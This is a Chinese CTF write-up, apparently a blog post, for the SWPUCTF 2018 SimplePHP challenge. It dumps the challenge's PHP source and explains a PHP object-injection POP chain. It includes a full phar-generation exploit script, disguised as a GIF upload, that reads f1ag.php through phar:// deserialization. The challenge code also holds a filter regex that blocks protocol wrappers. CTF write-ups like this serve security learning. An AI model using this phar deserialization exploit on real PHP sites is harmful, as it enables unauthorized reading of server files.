• [SWPUCTF 2018]SimplePHP


    考点:文件上传

    试了一下,直接上传php文件是不行的,.user.ini和.htaccess也不行

    能看到有提示,flag在f1ag.php中

    在查看文件功能处发现get传参,可能是文件包含

    尝试包含当前页面

    ?file=file.php

    得到

    1.  
    2. header("content-type:text/html;charset=utf-8");  
    3. include 'function.php'
    4. include 'class.php'
    5. ini_set('open_basedir','/var/www/html/'); 
    6. $file $_GET["file"] ? $_GET['file'] : ""
    7. if(empty($file)) { 
    8.     echo "

      There is no file to show!

      "; 

    9. $show new Show(); 
    10. if(file_exists($file)) { 
    11.     $show->source = $file
    12.     $show->_show(); 
    13. else if (!empty($file)){ 
    14.     die('file doesn\'t exists.'); 
    15. ?> 

    读取upload_file.php

    ?file=upload_file.php
    1.  
    2. include 'function.php'
    3. upload_file(); 
    4. ?>

    查看function.php

    ?file=function.php
    1.  
    2. //show_source(__FILE__); 
    3. include "base.php"
    4. header("Content-type: text/html;charset=utf-8"); 
    5. error_reporting(0); 
    6. function upload_file_do(
    7.     global $_FILES
    8.     $filename md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"
    9.     //mkdir("upload",0777); 
    10.     if(file_exists("upload/" . $filename)) { 
    11.         unlink($filename); 
    12.     } 
    13.     move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    14.     echo 'alert("上传成功!");'
    15. function upload_file(
    16.     global $_FILES
    17.     if(upload_file_check()) { 
    18.         upload_file_do(); 
    19.     } 
    20. function upload_file_check(
    21.     global $_FILES
    22.     $allowed_types array("gif","jpeg","jpg","png"); 
    23.     $temp explode(".",$_FILES["file"]["name"]); 
    24.     $extension end($temp); 
    25.     if(empty($extension)) { 
    26.         //echo "

      请选择上传的文件:" . "

      "; 

    27.     } 
    28.     else
    29.         if(in_array($extension,$allowed_types)) { 
    30.             return true
    31.         } 
    32.         else { 
    33.             echo 'alert("Invalid file!");'
    34.             return false
    35.         } 
    36.     } 
    37. ?> 

    function.php的作用主要是判断文件是否存在,并过滤一些字符串,给文件重命名,然后移动到upload目录下

    再看class.php

    ?file=class.php
    1. class C1e4r
    2. {
    3.     public $test;
    4.     public $str;
    5.     public function __construct($name)
    6.     {
    7.         $this->str = $name;
    8.     }
    9.     public function __destruct()
    10.     {
    11.         $this->test = $this->str;
    12.         echo $this->test;
    13.     }
    14. }
    15. class Show
    16. {
    17.     public $source;
    18.     public $str;
    19.     public function __construct($file)
    20.     {
    21.         $this->source = $file;   //$this->source = phar://phar.jpg
    22.         echo $this->source;
    23.     }
    24.     public function __toString()
    25.     {
    26.         $content $this->str['str']->source;
    27.         return $content;
    28.     }
    29.     public function __set($key,$value)
    30.     {
    31.         $this->$key $value;
    32.     }
    33.     public function _show()
    34.     {
    35.         if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
    36.             die('hacker!');
    37.         } else {
    38.             highlight_file($this->source);
    39.         }
    40.         
    41.     }
    42.     public function __wakeup()
    43.     {
    44.         if(preg_match("/http|https|file:|gopher|dict|\.\./i"$this->source)) {
    45.             echo "hacker~";
    46.             $this->source = "index.php";
    47.         }
    48.     }
    49. }
    50. class Test
    51. {
    52.     public $file;
    53.     public $params;
    54.     public function __construct()
    55.     {
    56.         $this->params = array();
    57.     }
    58.     public function __get($key)
    59.     {
    60.         return $this->get($key);
    61.     }
    62.     public function get($key)
    63.     {
    64.         if(isset($this->params[$key])) {
    65.             $value $this->params[$key];
    66.         } else {
    67.             $value "index.php";
    68.         }
    69.         return $this->file_get($value);
    70.     }
    71.     public function file_get($value)
    72.     {
    73.         $text base64_encode(file_get_contents($value));
    74.         return $text;
    75.     }
    76. }
    77. ?>

    可以看到在Test类中的file_get函数有文件读取,在上面的get函数中调用了file_get,这里传入了一个$key 把他当作 params的值,再给file_get

    再往上看,__get调用了get方法

    __get魔术方法:当调用未定义的属性或没有权限访问的属性触发

    再看上面Show类中的__toString

        public function __toString()
        {
            $content = $this->str['str']->source;
            return $content;
        }

    如果这里的 $this ->str['str'] 是Test 类,那么Test 类中没有 source这个属性,就会触发__get 方法

    那么又该怎么触发__toString方法呢? __toString函数触发条件:

    当一个对象被当作字符串处理的时候,会触发这个魔术方法 

    再看 C1e4r 类中的 __destruct

        public function __destruct()
        {
            $this->test = $this->str;
            echo $this->test;
        }

    这里有个echo,如果 str 是一个类的对象,也就是 $this.test 是个对象,那么echo 对象 就会触发了 __toString 方法

    构造pop链并生成phar文件

    1. class C1e4r{
    2. public $test;
    3. public $str;
    4. }
    5. class Show
    6. {
    7. public $source;
    8. public $str;
    9. }
    10. class Test
    11. {
    12. public $file;
    13. public $params;
    14. }
    15. $cle4r = new C1e4r();
    16. $show = new Show();
    17. $test = new Test();
    18. $test->params['source']='/var/www/html/f1ag.php';
    19. $show->str['str']=$test;
    20. $cle4r->str=$show;
    21. $phar = new Phar("phar.phar");
    22. $phar->startBuffering();
    23. $phar->setStub("GIF89a");
    24. $phar->setMetadata($cle4r);
    25. $phar->addFromString("exp.txt", "test");
    26. $phar->stopBuffering();
    27. ?>

    这边有个要解释一下的是,这里是params[‘source’],而不是params[‘其他’]。

    我们知道__get是当调用未定义的属性或没有权限访问的属性才触发,一旦触发那么这里的$key接受的就是那个未定义的属性,而不是值。

    本地访问生成phar文件,将后缀改为jpg,然后上传

     

    然后访问/upload/,得到文件名

    然后使用phar进行文件包含

    base64解码得到flag

  • 相关阅读:
    小程序上车,车载小程序的信息安全是否可靠?
    fiddler 手机抓包
    codeforces:dp专练【关于子数组求和 + 选or不选来dp + 二维dp】
    2.2.2 部署Master节点、添加Node节点
    【JavaEE】一文掌握 Ajax
    <el-input-number>显示两位数字;如果是一位数字的话前面补0
    基于hexo框架快速从0到1搭建个人博客----文章写作(四)
    Python中定义Mittag-Leffler函数
    Java实现本地缓存、分布式缓存及多级缓存
    python合集1
  • 原文地址:https://blog.csdn.net/Yb_140/article/details/128103769